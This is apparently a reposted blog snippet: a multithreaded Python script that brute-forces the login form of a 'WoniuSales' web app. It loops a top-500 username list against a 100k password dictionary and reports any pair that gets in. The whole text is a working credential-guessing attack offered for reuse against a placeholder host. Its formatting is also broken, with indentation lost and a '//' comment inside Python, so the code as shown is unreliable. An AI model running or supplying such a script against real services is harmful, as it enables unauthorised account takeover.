# -*- coding: utf-8 -*-
# @Time : 2022/5/27 16:47
# @Author : admin
# @Email : 1985264689@qq.com
# @File : blast.py
# @Project : 项目
# @脚本说明 :
import requests,os,threading
def blosting(namelist):
//此处为引用的一个字典,可自行准备
with open('userpass/password-top100k.txt',encoding='GBK') as file:
pw_list = file.readlines()
# print(pw_list)
for name in namelist:
url = "http://IP地址+端口/WoniuSales1.4/user/login"
for ps in pw_list:
data = {'username':name.strip(),'password':ps.strip(),'verifycode':'0000'}
resp = requests.post(url=url,data=data)
if 'login-pass' in resp.text:
print(f'爆破成功,用户名为:{name.strip()},密码为:{ps.strip()}')
exit()
if __name__ == '__main__':
with open('./userpass/username-top500.txt','r')as f:
user_list = f.readlines()
for i in range(0,len(user_list),20):
namelist = user_list[i:i+20]
threading.Thread(target=blosting,args=(namelist,)).start()版权声明:本文为weixin_45972507原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。